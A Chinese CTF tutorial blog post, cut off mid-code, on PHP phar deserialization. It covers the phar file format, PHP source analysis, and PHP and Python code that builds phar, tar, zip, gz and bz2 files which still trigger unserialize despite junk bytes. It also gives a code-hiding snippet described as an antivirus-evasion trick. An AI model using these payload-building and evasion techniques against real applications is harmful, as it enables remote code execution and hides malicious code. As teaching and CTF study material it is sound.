总结 - ctf中php的phar(一)

Posted by morouu on 2022-01-27
Estimated Reading Time 59 Minutes
Words 12.7k In Total
Viewed Times

总结 - ctf中php的phar(一)


- 前言 -

相信不少伙伴们对 php 中有关 phar 内容的认识都是从 反序列化 开始的,实际上本人也是如此。不得不说 phar 这玩意真的是给很多能由反序列化拿到 RCE 的应用撕开了一个很不错的开口,但有关这个 phar反序列化 也是有可进行扩展的地方。

- phar -

那么在进行正文前,不妨先对 phar 这个玩意先做一个简单的说明。由于在 php8.0+ 中已经明示可以和 phar反序列化 说拜拜了,这里就用 php7.0+ 的环境来做说明吧。实际上 phar 原来的想法就是将一堆代码文件的归档成一个文件,然后只需要用 phar 协议解析这一个归档中任一个被打包的代码文件就可以去执行其中指定的代码(相当于php应用的u盘)。比如将以下文件归档成 phar 文件(myphar.phar)👇

  • login.php
  • home.php
  • logout.php

那么假设想在主页做一个简单的包含路由,只需要这么写👇

1
2
3
4
5
<?php
$page = $_GET['page']??null;
if(!is_null($page) and in_array($page,['login','home','index'])){
include "phar://path/to/myphar.phar/{$page}.php";
}

就可以只用两个文件 index.phpmyphar.phar 实现了,确实是比较不错的。

- 结构 -

首先要说明的是 phar 是支持以下三种文件格式归档的👇

  • phar(或phar.gz/phar.bz2)
  • tar
  • zip

其中这类归档格式包含三到四个部分👇

  • stub(存根)
  • a manifest describing the contents(描述内容的清单)
  • the file contents(文件内容)
  • [optional] a signature for verifying Phar integrity([可选]验证phar完整性的签名,仅phar格式需要)

这到后面的应用会详细说,这里先简单地先分析默认 phar 归档格式罢。

- stub -

先来看 stub 这玩意,简单来说即是用来判断 phar 内容的开头标志,在 php 中也有对应的常量 __COMPILER_HALT_OFFSET__ 👇

1
2
3
4
5
6
<?php
$fp = fopen(__FILE__, 'r');
fseek($fp, __COMPILER_HALT_OFFSET__);
create_funcion("", stream_get_contents($fp));
__halt_compiler();}phpinfo();/*

以上可以执行 phpinfo(); 代码(算是免杀技巧之一吧)。

按照官方文档来说如果是纯 phar 格式的归档文件,这个 stub 是必须的👇

image-20220124130843409

并且在构造 stub 的时候必须以 __HALT_COMPILER(); ?> 结尾,同时 __HALT_COMPILER(); 必须得是大写的(如果在使用 setStub 方法构造的时候不以 __HALT_COMPILER(); ?> 结尾,生成的文件会自动给补上),以下的构造方式都是合法的👇

  • [任意字符] __HALT_COMPILER(); ?>

当然,即便在构造 phar 的时候不调用 setStub 方法手动构造,构造出来的 phar 文件也是可以反序列化的,只是前面的部分会很长并且是一个完整的代码。

另外由于 phar 文件会在后面对所有内容做签名计算,所以每次构造不同 stub 内容的 phar 都得重新构造,而不能够直接在 phar 开头直接添加内容。

- manifest -

这玩意即是 清单 部分,可以看作是一个 phar 文件的信息总览,以下是摘自官方文档的表格👇

Global Phar manifest format

Size in bytes Description
4 bytes Length of manifest in bytes (1 MB limit)
4 bytes Number of files in the Phar
2 bytes API version of the Phar manifest (currently 1.0.0)
4 bytes Global Phar bitmapped flags
4 bytes Length of Phar alias
?? Phar alias (length based on previous)
4 bytes Length of Phar metadata (0 for none)
?? Serialized Phar Meta-data, stored in serialize() format
at least 24 * number of entries bytes entries for each file

其实这么一看就一目了然了,其中,能够执行 反序列化 的罪魁祸首就存在 Serialized Phar Meta-data 部分,这到后面再说。同时 Global Phar bitmapped flags 这玩意存储的是这个 phar 文件的归档格式,这是对应的表格👇

Bitmap values recognized

Value Description
0x00010000 If set, this Phar contains a verification signature
0x00001000 If set, this Phar contains at least 1 file that is compressed with zlib DEFLATE compression
0x00002000 If set, this Phar contains at least 1 file that is compressed with bzip2 compression

依然很简单就能够看懂,下面是 manifest 包含的归档文件元素👇

Phar Manifest file entry

Size in bytes Description
4 bytes Filename length in bytes
?? Filename (length specified in previous)
4 bytes Un-compressed file size in bytes
4 bytes Unix timestamp of file
4 bytes Compressed file size in bytes
4 bytes CRC32 checksum of un-compressed file contents
4 bytes Bit-mapped File-specific flags
4 bytes Serialized File Meta-data length (0 for none)
?? Serialized File Meta-data, stored in serialize() format

当然,这里的 Serialized File Meta-data 部分也是可以进行 反序列化 的,比如👇

1
2
3
4
5
6
7
8
<?php
class e{}
$p = new Phar("a.phar");
$p->startBuffering();
$p->setStub("__HALT_COMPILER(); ?>");
$p['c']='ok';
$p['c']->setMetadata(new e);
$p->stopBuffering();

- content -

这个部分是所有归档文件的内容,放在 manifestsignature 之间。

- signature -

顾名思义,这个部分就是用来计算前面所有内容的签名,但有且仅有在 phar 的归档格式中,像是 tar 或是 zip 的归档格式是没有这一块的。而根据官方文档, phar 支持的签名格式有👇

  • MD5
  • SHA1
  • SHA256
  • SHA512
  • OPENSSL(这个是带密钥签名)

可以在构造 phar 时使用 setSignatureAlgorithm 方法手动设置签名格式,比如 setSignatureAlgorithm(Phar::MD5) 。而对于 OPENSSL 的带密钥签名,在官方示例中,可以用以下方式构造👇

1
2
3
4
5
6
<?php
$private = openssl_get_privatekey(file_get_contents('private.pem'));
$pkey = '';
openssl_pkey_export($private, $pkey);
$p->setSignatureAlgorithm(Phar::OPENSSL, $pkey);
?>

这是 signature 的官方表格👇

Signature format

Length in bytes Description
varying The actual signature, 20 bytes for an SHA1 signature, 16 bytes for an MD5 signature, 32 bytes for an SHA256 signature, and 64 bytes for an SHA512 signature. The length of an OPENSSL signature depends on the size of the private key.
4 bytes Signature flags. 0x0001 is used to define an MD5 signature, 0x0002 is used to define an SHA1 signature, 0x0003 is used to define an SHA256 signature, and 0x0004 is used to define an SHA512 signature. The SHA256 and SHA512 signature support is available as of API version 1.1.0. 0x0010 is used to define an OPENSSL signature, what is available as of API version 1.1.1, if OpenSSL is available.
4 bytes Magic GBMB used to define the presence of a signature.

这里还可以看出,如果是 phar 的归档格式,最后 4 个字节必须是 GBMB 字符(也就是说如果是 phar 归档格式只能够在前面添加 脏字符)。

- 文件解析 -

不妨对真实的 phar 文件内容进行解析,先简单生成一个 phar 文件👇

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class e{}
$o = new e;
$o->a='text';
@unlink("a.phar");
$p = new Phar("a.phar"); //后缀名必须为phar
$p->startBuffering();
$p->setStub("__HALT_COMPILER(); ?>");
$p->setMetadata($o);
$p['a.txt']='ok';
$p['a.txt']->setMetadata($o);
$p->stopBuffering();

再使用 010 editor 打开,得到如图👇

image-20220124150604501

那么用表格简单分析一下👇

Offset Start End Bytes Content Description
Stub
0000h 0000h 0014h 18 5F 5F 48 41 4C 54 5F 43 4F 4D 50 49 4C 45 52 28 29 3B 20 3F 3E stub部分
0014h 0015h 0016h 2 0D 0A 换行符
Manifest
0016h 0017h 001Ah 4 71 00 00 00 manifest + file的总长度
001Ah 001Bh 001Eh 4 01 00 00 00 归档的文件数量
001Eh 001Fh 0020h 2 11 00 manifest的API版本
0020h 0021h 0024h 4 00 00 01 00 Global Phar bitmapped flags(不太懂怎么翻译,这里的意思是这个phar包含签名验证部分)
0024h 0022h 0028h 4 00 00 00 00 别名长度(因为长度为0,也就没有别名部分)
0028h 0029h 002ch 4 1F 00 00 00 metadata的长度
002Ch 002Dh 004Bh 31 4F 3A 31 3A 22 65 22 3A 31 3A 7B 73 3A 31 3A 22 61 22 3B 73 3A 34 3A 22 74 65 78 74 22 3B 7D metadata的内容(即序列化内容)
004Ch 0041h 0044h 4 05 00 00 00 归档文件的文件名长度
0044h 0045h 0054h 5 61 2E 74 78 74 归档文件名
0054h 0055h 0058h 4 02 00 00 00 归档文件未压缩的大小
0058h 0059h 005Ch 4 BC 4F EE 61 归档文件的Unix时间戳
005Ch 005Dh 0060h 4 02 00 00 00 归档文件压缩后的大小(默认应该是不会进行压缩)
0060h 0061h 0064h 4 47 DD DC 79 未压缩内容的CRC32校验
0064h 0065h 0068h 4 B6 01 00 00 Bit-mapped File-specific flags(这里表示的是归档文件的权限,为666)
0068h 0069h 006Ch 4 1F 00 00 00 metadata的长度
006Ch 006Dh 008Bh 31 4F 3A 31 3A 22 65 22 3A 31 3A 7B 73 3A 31 3A 22 61 22 3B 73 3A 34 3A 22 74 65 78 74 22 3B 7D metadata的内容(即序列化内容)
Content
008Bh 008Ch 008Dh 2 6F 6B 所有归档文件的内容
Signature
008Dh 008Eh 00A1h 20 30 34 5C A4 CA A8 C8 55 99 1C B8 A7 36 2E 7C 05 D3 49 91 7F 签名内容(来自0000h - 008Dh内容的sha1值)
00A1h 00A2h 00A5h 4 02 00 00 00 签名标志(这里表示使用sha1进行签名)
00A6h 00A7h 00A9h 4 47 42 4D 42 GBMB(表示存在签名)

看得出来其实整个 phar 结构也不算难,不用 php 的扩展手撸出 phar 来也是很简单的👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
from zlib import crc32
from struct import pack
from time import time
from hashlib import md5, sha1, sha256, sha512


class PHAR:
# 一些常量
STUB = b"__HALT_COMPILER(); ?>"
GBMB = b"GBMB"
MD5 = b"\x01\x00\x00\x00"
SHA1 = b"\x02\x00\x00\x00"
SHA256 = b"\x03\x00\x00\x00"
SHA512 = b"\x04\x00\x00\x00"

def __init__(self,
prefix: str,
manifestData: dict,
filesData: list,
signatureType: MD5
):
self.prefix = prefix.encode()
self.manifestData = manifestData
self.filesData = filesData
self.signatureType = signatureType

def parse(self):

# 检查清单的参数
if any(self.manifestData.get(each) is None for each in ["loc", "metaData"]):
return False
# 至少要归档一个文件
if len(self.filesData) == 0:
return False
# 遍历检查文件的参数
for file in self.filesData:
if any(file.get(each) is None for each in ["fileName", "fileContent", "loc", "metaData"]):
return False

# 将字符串转换字节流
self.manifestData["metaData"] = self.manifestData["metaData"].encode()
for file in self.filesData:
for key, value in file.items():
if key in ["fileName", "fileContent", "metaData"]:
file[key] = value.encode()

return True

def generate(self):

# 检查参数
if not self.parse():
return b""

phar = b""
# stub
stub = self.stub()
# manifest
manifest = self.manifest()
files = self.file()
# content
contents = self.content()
# 计算总长度
manifest = pack("I", len(manifest + files + contents)) + manifest[4:]
# signature
signature = self.signature(stub + manifest + files + contents)
# 重新拼接
phar += stub + manifest + files + contents + signature

return phar

def stub(self):
return self.prefix + self.STUB + b"\r\n"

def manifest(self):

# 归档文件数量
manifest = pack("I", len(self.filesData))
# 版本
manifest += b"\x11\x00"
# 标识
manifest += b"\x00\x00\x01\x00"
# 别名长度
manifest += b"\x00\x00\x00\x00"

# 如果将序列化内容存储于此
if self.manifestData["loc"]:
# metadata长度
manifest += pack("I", len(self.manifestData["metaData"]))
# metadata内容
manifest += self.manifestData["metaData"]
else:
manifest += pack("I", 0)

# 补足长度
manifest = pack("I", 0) + manifest

return manifest

def file(self):

files = b""

# 遍历归档的文件
for file in self.filesData:
# 文件名长度
files += pack("I", len(file["fileName"]))
# 文件名
files += file["fileName"]
# 未压缩大小
files += pack("I", len(file["fileContent"]))
# 时间戳
files += pack("I", int(time()))
# 压缩后大小
files += pack("I", len(file["fileContent"]))
# CRC32校验
files += pack("I", crc32(file["fileContent"]))
# 文件权限
files += pack("I", 0o666)

# 如果将序列化内容存储于此
if file["loc"]:
# metadata长度
files += pack("I", len(file["metaData"]))
# metadata内容
files += file["metaData"]
else:
files += pack("I", 0)

return files

def content(self):

contents = b""

# 遍历所有归档文件
for file in self.filesData:
contents += file["fileContent"]

return contents

def signature(self, content):

signature = b""

# 签名内容
if self.signatureType == self.MD5:
signature = md5(content).digest()
if self.signatureType == self.SHA1:
signature = sha1(content).digest()
if self.signatureType == self.SHA256:
signature = sha256(content).digest()
if self.signatureType == self.SHA512:
signature = sha512(content).digest()
# 签名标志
signature += self.signatureType
# GBMB标志
signature += self.GBMB

return signature


if __name__ == '__main__':
pharData = {
"prefix": "123",
"manifestData": {
"loc": True,
"metaData": """O:1:"e":1:{s:1:"a";s:4:"text";}""",
},
"filesData": [
{
"fileName": "e.txt",
"fileContent": "dsadawada",
"loc": True,
"metaData": """O:1:"e":1:{s:1:"a";s:4:"text";}""",
},
{
"fileName": "c.txt",
"fileContent": "123",
"loc": True,
"metaData": """O:1:"e":1:{s:1:"a";s:4:"text";}""",
},
],
"signatureType": PHAR.SHA1,
}
p = PHAR(**pharData).generate()
with open("a.phar", "wb") as f:
f.write(p)

另外,如果在 manifestfile 都写入 metadata 内容可以触发多次 反序列化 ,不过把序列化内容包装成数组也其实也是是一样效果,没啥必要。至于归档多个文件,由于多个文件要传入的参数比较复杂,就没继续往下写了。

- 反序列化原因 -

从上面的 phar 格式已经可以很清楚地知道了 metadata 的内容实际上为序列化数据,那么 metadata 数据的去向也就尤为关键。这里以 php7.4.25 的源码进行分析,先看对 phpunserialize 函数的实现👇

image-20220124193046030

整个流程主要是先是声明了 php_unserialize_data_t 类型的变量 var_hash 然后对其进行初始化,再调用 php_var_unserialize 函数进行 反序列化 。因此 php_unserialize_data_t 类型变量的生成以及 php_var_unserialize 函数的调用也就即为关键。

不妨再来看 phar.c 文件中的 phar_parse_metadata 函数👇

image-20220124192612244

可以看到这里依然声明了 php_unserialize_data_t 类型的变量 var_hash ,并在对其初始化好后调用了 php_var_unserialize 函数对传入的 metadata 内容进行反序列化,而 metadata 内容刚好也就是包装在 phar 文件中的序列化内容。由此可以简单地看作,当 phar_parse_metadata 函数被调用时也就意味着对 metadata 的内容进行 反序列化

而在 phar.c 文件中存在 phar_parse_pharfile 函数,当进行 phar:// 协议时就会调用 phar_parse_pharfile 函数对文件内容进行解析;恰好在 phar_parse_pharfile 中还会调用 phar_parse_metadata 函数对 metadata 的内容进行解析,因而也就能够触发 反序列化 了👇

image-20220124195236737

- 扩展 -

当然,上面所展示的仅是 phar_parse_pharfile 函数中对 phar_parse_metadata 的调用,其实在其他地方还是有对 phar_parse_metadata 调用的,按照因果关系,既然存在对 phar_parse_metadata 的调用,也就有可能存在 反序列化

- 分析 -

通过全局搜索可以得到以下函数调用了 phar_parse_metadata 👇

  • phar.c -> phar_parse_pharfile
  • zip.c -> phar_parse_zipfile
  • tar.c -> phar_tar_process_metadata
  • util.c -> phar_copy_cached_phar
  • phar_object.c -> PHP_METHOD(Phar, getMetadata)
  • phar_object.c -> PHP_METHOD(PharFileInfo, getMetadata)

其中 util.c 文件的 phar_copy_cached_phar 函数在源码中并没有显式地被调用;而 phar_Object.c 文件中的 PHP_METHOD(Phar, getMetadata) 以及 PHP_METHOD(PharFileInfo, getMetadata) 函数虽说即是对应 php 中的 Phar::getMetadataPharFileInfo::getMetadata ,但这两个都受到 phar->archive->is_persistent 这个条件的影响👇

image-20220124213351785

不能通过直接调用 getMetadata 方法的方式触发,另外好像对 phar_parse_metadata 的调用是将返回值作为反序列化的参数,这个不太懂,望懂的伙伴们可以教教额。

因此这里就从 zip.cphar_parse_zipfile 函数和 tar.c 文件的 phar_tar_process_metadata 函数来看。

首先是 phar_parse_zipfile 函数👇

image-20220124214002853

可以看到是存在对 phar_parse_metadata 函数的调用,其次是 phar_tar_process_metadata 函数👇

image-20220124214256845

显然 phar_tar_process_metadata 函数是存在对 phar_parse_metadata 函数的调用的,同时 phar_tar_process_metadata 函数由 phar_parse_tarfile 调用,那么就可以看作是 phar_parse_tarfile 函数可以通过 phar_tar_process_metadata 函数去调用 phar_parse_tarfile 函数。

由于在上面的 phar 格式已经提到,phar 的归档格式除了 phar 外还可以有 phar.gzphar.bz2tarzip ,也就是说能够触发 反序列化 的不一定只有 phar 的归档格式(即以 __HALT_COMPILER(); ?> 作为 stub ),还可以是 gzbz2tarzip 文件。

不妨来到 phar 有关对文件内容格式解析的 phar_open_from_fp 函数,这个函数在 phar.c 文件中👇

image-20220124215520329

可以看到在变量声明的部分直接定义了 pharstub 和其他 压缩头部 的常量👇

  • const char token[] = "__HALT_COMPILER();";
  • const char zip_magic[] = "PK\x03\x04";
  • const char gz_magic[] = "\x1f\x8b\x08";
  • const char bz_magic[] = "BZh";

并且声明了一个 buffer 去循环读取文件内容,注意这里的 test 变量值为 \0 ,接着往下看👇

image-20220124220306547

注意看从文件读取数据所放到的地址,这个地址的值为 buffer + sizeof(token) 的地址,其中 buffer 的前 sizeof(token) 长度部分用空格填充了,并且 pos 变量所指向的是 buffer + sizeof(token) 的偏移 。然后再看 if (!test) test = '\1' 这两条语句,显然是经典的 一次判断 即只这个大条件仅对第一次读取的值进行判断,而后面的 if (!memcmp(pos, gz_magic, 3)) 则是判断所读取文件的前 3 个字符是否为 gz 压缩格式。

其中这个条件处理内容如下👇

image-20220124230805023

大致意思应该是先调用 zlib.inflate 过滤流将文件内容进行解压,并将解压好的内容重新进行循环判断。

再往下看有关 bz2 的内容,其实也是一样的👇

image-20220124231140249

以上遇到了 gzbz2 的文件内容时,先将其解压了,然后再将解压得到的内容再进行一遍循环判断。

如果对这两个格式的的处理方式做一个说明,不妨以 gz 为例,先做以下步骤👇

  • 生成一个phar文件,名为a.phar
  • 将a.phar打包成a.phar.gz文件

然后当用 phar://path/a.phar.gz 协议去解析这个 a.phar.gz 文件时,会先将 a.phar.gz 解压成临时文件,再将这个临时文件的内容(也就是 a.phar 文件的内容)作为 phar 格式内容去解析罢。

那么继续往下看,下一个就到了对zip 头部的判断👇

image-20220124232525916

将文件指针设为文件尾部后直接调用了 phar_parse_zipfile 函数。

然后是对 tar 的判断👇

image-20220124232656214

这个就比较简单粗暴了,直接判断一次性获取的值是否大于 512 字节,若大于则判断其是否为 tar 文件,若为就直接调用 phar_parse_tarfile 函数。

最后就到了默认的 phar 归档格式以及上面 gzbz2 解压完后的二次解析内容的归宿了👇

image-20220124234732998

先是判断如果内容中存在 token 变量,也就是 __HALT_COMPILER(); 就会调用 phar_parse_pharfile 函数。另外要提的是,如果一次循环未找到关键的头部就会一直循环找,这也是为什么默认的 phar 归档格式可以在前面加 脏字符 的原因了。

- 格式 -

由上面的分析就可以得出,实际上对于 phar 触发 反序列化 不止是 phar 归档格式才能够触发,像是以下格式都能够触发👇

  • .gz
  • .bz2
  • .tar
  • .zip

其中 gzbz2 仅是相当于将一个 phar 文件压缩成 gzbz2 格式罢。

但既然能够压缩成不同格式,在遇到一些所能写入的 phar 内容并不完全可控,也就是说 phar 内容存在 脏字符 的情况下就可以根据不同格式对脏字符允许区域的不同构造可以进行 反序列化phar 文件。

就比如单纯 phar 归档格式是可以在前面加上任意非 压缩头部 内容的 脏字符 的,但无法在后面加上 脏字符 ,原因是会对文件内容尾部的 4 个字节做判断👇

image-20220125000406563

由于 phar 归档格式默认是需要签名的,所以尾部必须是 GBMB4 个字节,因此就可以用一些尾部可以是任意值的格式,如 gztarzip 都是可以的。

- 例子 -

那么说了这么多不妨用一些可能会遇到的例子来进行说明。

- [脏字符]+[内容] -

显然根据上面对 phar 文件内容的解析判断,像是一些 gzbz2 以及 zip 是不可能绕过了,但默认的 phar 归档格式和 tar 是可以绕过的。不过对于 tar 还是有一些限制的,由于 tar 打包过程中会将文件名放置在最前面,因此这个放在前面的 脏字符 必须是一个合法文件名才能够成功解析👇

image-20220125121036864

比如像是一些不合法的文件名是无法使用的,比如 \/;*?"<>| ,另外即便是在 linux 似乎也用不了 \ 作为归档的文件名,会报错 。

但对于默认的 phar 归档格式,只需要保证前面的 脏字符 不为 压缩头部 的内容即可( tar 也是),所谓的 压缩头部 包含以下内容👇

  • PK\x03\x04
  • \x1f\x8b\x08
  • BZh

那么不妨来写一个例子👇

1
2
3
4
5
6
7
<?php
class e{
function __destruct(){
echo "ok!";
}
}
file("phar://./$argv[1]/[归档文件名]");

phar 👇

1
2
3
4
5
6
7
8
<?php
class e{}
$p = new Phar("p.phar");
$p->startBuffering();
$p->setStub("[脏字符]__HALT_COMPILER(); ?>");
$p->setMetaData(new e);
$p['a']='1';
$p->stopBuffering();

得到的文件内容👇

image-20220125123708375

尝试进行反序列化👇

image-20220125123927472

可以看到是能成功的。

tar👇

1
2
3
4
5
6
7
<?php
class e{}
$p = new Phar("p.phar");
$p->setMetaData(new e);
$p['[脏字符]']='1';
$p->convertToData(Phar::TAR);
# $p->convertToExecutable(Phar::TAR); 也行

得到的文件内容👇

image-20220125191604418

尝试进行反序列化👇

image-20220125191741860

可以看到是能成功的。

- [内容]+[脏字符] -

这个的绕过就比较简单了,除了默认 phar 归档格式会在末尾检测 GBMB4 个字节以及 bz2 外,其他的格式都不会在末尾做检测。因而像是 gztarzip ( zip 的话比较特殊,不能够直接在尾部加 脏字符 )都是可以绕过的。

那么继续写例子👇

1
2
3
4
5
6
7
<?php
class e{
function __destruct(){
echo "ok!";
}
}
file("phar://./$argv[1]/a");

gz 👇

1
2
3
4
5
6
7
<?php
class e{}
$p = new Phar("p.phar");
$p->setMetaData(new e);
$p['a']='1';
$p->compress(Phar::GZ);
file_put_contents("p.phar.gz","[脏字符]",FILE_APPEND);

得到文件内容👇

image-20220125192948225

尝试进行反序列化👇

image-20220125125937997

可以看到是能成功的。

tar 👇

1
2
3
4
5
6
7
<?php
class e{}
$p = new Phar("p.phar");
$p->setMetaData(new e);
$p['a']='1';
$p->convertToData(Phar::TAR);
file_put_contents("p.phar.tar","[脏字符]",FILE_APPEND);

得到文件内容👇

image-20220125193045647

尝试进行反序列化👇

image-20220125193206620

可以看到是能成功的。

zip 👇

这个也可以,不过这玩意实际上是把 metadata 内容放在了 zip注释 里👇

1
2
3
4
5
6
<?php
class e{}
$p = new Phar("p.phar");
$p->setMetaData(new e);
$p['a']='1';
$p->convertToData(Phar::ZIP);

得到文件内容👇

image-20220125194612454

可见 metadata 内容是写在了注释里,而在 php反序列化 中只会认到完整的序列化内容,所以只需要更改 注释 长度后,再向后面添上脏字符即可👇

image-20220125221928804

尝试进行反序列化👇

image-20220125222011441

可以看到是能成功的。

- [脏字符]+[内容]+[脏字符] -

只能说 tar yyds,遇到了这种前后 脏字符 夹击的情况,也就只能用 tar 进行解决了。当然,前面的 脏字符 必须是合法的文件名,并且不能是 压缩头部 字符才行。

开始写例子👇

1
2
3
4
5
6
7
<?php
class e{
function __destruct(){
echo "ok!";
}
}
file("phar://./$argv[1]/[脏字符]");

tar 👇

1
2
3
4
5
6
7
<?php
class e{}
$p = new Phar("p.phar");
$p->setMetaData(new e);
$p['[脏字符]']='1';
$p->convertToData(Phar::TAR);
file_put_contents("p.tar","[脏字符]",FILE_APPEND);

得到文件内容👇

image-20220125193545865

尝试进行反序列化👇

image-20220125193658648

可以看到是能成功的。

- 代码包装 -

顾名思义,就是将 phar 形式从 php 中分离出来,单独手撸一个脚本来包装罢。要完成这一件事,就得先从不同的格式入手,分析具体包装的原理是啥。

- gz/bz2 -

这个在上面的分析中已经说的很清楚了,实际上 gzbz2 只是将默认的 phar 归档格式二次打包成 gzbz2 罢,只需要生成默认 phar 归档格式,然后再打包成 gzbz2 即可,同时由上面的源码可以看出,这玩意会一直解压到出了默认 phar 归档格式为止(比如 p.phar.gz.bz2.gz.bz2.gz 会一直循环解压到 p.phar 再进行解析)。

- tar -

话不多说,先生成一个 tar 👇

1
2
3
4
5
6
7
<?php
class e{}
$p = new Phar("p.phar");
$p->setMetaData(new e);
$p['a.txt']='1';
$p['a.txt']->setMetaData(new e);
$p->convertToData(Phar::TAR);

然后直接用 vim 暴力读取 tar 文件👇

image-20220125193906984

可以看到是打包了 5 个文件,并且打包的结构显而易见👇

  • a.txt(归档文件名)
  • .phar/metadata.bin
  • .phar/.metadata/a.txt/.metadata.bin

显然 a.txt 里面即是归档文件的内容了👇

image-20220125134358087

再看 .phar/metadata.bin 👇

image-20220125133824409

得到了 metadata 内容,也即是序列化的内容。

接着看 .phar/.metadata/a.txt/.metadata.bin 👇

image-20220125135549726

为放在 a.txt 文件的 metadata 内容。那么就可以看作是按照结构去构造一些文件,再打包成 tar 文件即可。

- zip -

上面已经提到了,当压缩成 zip 文件时会将 metadata 内容放到 zip注释 中,那么如果是文件的 metadata 内容呢,那就放到文件的 注释 中呗。先生成一个 zip 👇

1
2
3
4
5
6
7
<?php
class e{}
$p = new Phar("p.phar");
$p->setMetaData(new e);
$p['a.txt']='1';
$p['a.txt']->setMetaData(new e);
$p->convertToData(Phar::ZIP);

然后用 010 editor 打开分析👇

image-20220125194837618

可以看到 metadata 内容确实是分别放在了对应 文件注释zip注释 中了。

那么再来看压缩格式👇

image-20220125194754026

相当于以下的格式👇

  • a.txt(归档文件名)

这和 tar 格式有些类似,唯一不同的是 zipmetadata 放在了 注释 中,而 tar 用相应文件将 metadata 装起来。

先来看 a.txt 内容👇

image-20220125141046714

可见是完全没变的,因此这个 zip 格式的 phar 不过是个简单的压缩包罢了,只要把 metadata 内容放在对应注释即可。

- 包装 -

直接上代码吧👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
from zlib import crc32
from struct import pack
from time import time, localtime
from hashlib import md5, sha1, sha256, sha512
from io import BytesIO
from gzip import compress as gz_compress
from bz2 import compress as bz2_compress
from tarfile import open as tar_open, TarInfo
from zipfile import ZipFile as zip_open, ZipInfo, ZIP_DEFLATED


class PHAR:
# 类型
class TYPE:

MD5 = b"\x01\x00\x00\x00"
SHA1 = b"\x02\x00\x00\x00"
SHA256 = b"\x03\x00\x00\x00"
SHA512 = b"\x04\x00\x00\x00"
DEFAULT = 0x00
GZ = 0x01
BZ2 = 0x02
TAR = 0x03
ZIP = 0x04

# 一些常量
STUB = b"__HALT_COMPILER(); ?>"
GBMB = b"GBMB"

def __init__(self,
prefix: str,
suffix: str,
manifestData: dict,
filesData: list,
signatureType=TYPE.MD5,
formatType=TYPE.DEFAULT
):
self.prefix = prefix.encode()
self.suffix = suffix.encode()
self.manifestData = manifestData
self.filesData = filesData
self.signatureType = signatureType
self.formatType = formatType
self.time = int(time())

def parse(self):

# 检查签名类型
if all(self.signatureType != each for each in [self.TYPE.MD5, self.TYPE.SHA1, self.TYPE.SHA256,
self.TYPE.SHA512]):
return False
# 检查格式类型
if all(self.formatType != each for each in [self.TYPE.DEFAULT, self.TYPE.GZ, self.TYPE.BZ2, self.TYPE.TAR,
self.TYPE.ZIP]):
return False
# 检查清单的参数
if any(self.manifestData.get(each) is None for each in ["loc", "metaData"]):
return False
# 至少要归档一个文件
if len(self.filesData) == 0:
return False
# 遍历检查文件的参数
for file in self.filesData:
if any(file.get(each) is None for each in ["fileName", "fileContent", "loc", "metaData"]):
return False

# 将字符串转换字节流
self.manifestData["metaData"] = self.manifestData["metaData"].encode()
for file in self.filesData:
for key, value in file.items():
if key in ["fileName", "fileContent", "metaData"]:
file[key] = value.encode()

return True

def generate(self):

# 检查参数
if not self.parse():
return b""

# 判断生成的格式
if self.formatType in [self.TYPE.DEFAULT, self.TYPE.GZ, self.TYPE.BZ2]:
# stub
stub = self.stub()
# manifest
manifest = self.manifest()
files = self.file()
# content
contents = self.content()
# 计算总长度
manifest = pack("I", len(manifest + files + contents)) + manifest[4:]
# signature
signature = self.signature(stub + manifest + files + contents)
# 拼接
phar = stub + manifest + files + contents + signature
# 默认phar归档格式
if self.formatType == self.TYPE.DEFAULT:
return phar
# gz压缩(如果有后缀则添上后缀)
if self.formatType == self.TYPE.GZ:
return self.gz(phar) + self.suffix
# bz2压缩
if self.formatType == self.TYPE.BZ2:
return self.bz2(phar)
# 若为tar打包
if self.formatType == self.TYPE.TAR:
return self.tar()
# 若为zip压缩
if self.formatType == self.TYPE.ZIP:
return self.zip()


@staticmethod
def gz(content):
return gz_compress(content)

@staticmethod
def bz2(content):
return bz2_compress(content)

def tar(self):

out = BytesIO()
tar = tar_open(mode="w", fileobj=out)

# 如果有前缀且前缀是合法文件名
if self.prefix and not any(each in self.prefix for each in list(b'\/;*?"<>|')):
info = TarInfo(self.prefix.decode())
info.mode = 0o000
tar.addfile(info, BytesIO(b""))

# 先打包归档文件
for file in self.filesData:
info = TarInfo(file["fileName"].decode())
info.size = len(file["fileContent"])
info.mtime = self.time
info.mode = 0o666
read = BytesIO(file["fileContent"])
tar.addfile(info, read)

# 打包manifest.metadata
if self.manifestData["loc"]:
info = TarInfo(".phar/.metadata.bin")
info.size = len(self.manifestData["metaData"])
info.mtime = self.time
info.mode = 0o000
read = BytesIO(self.manifestData["metaData"])
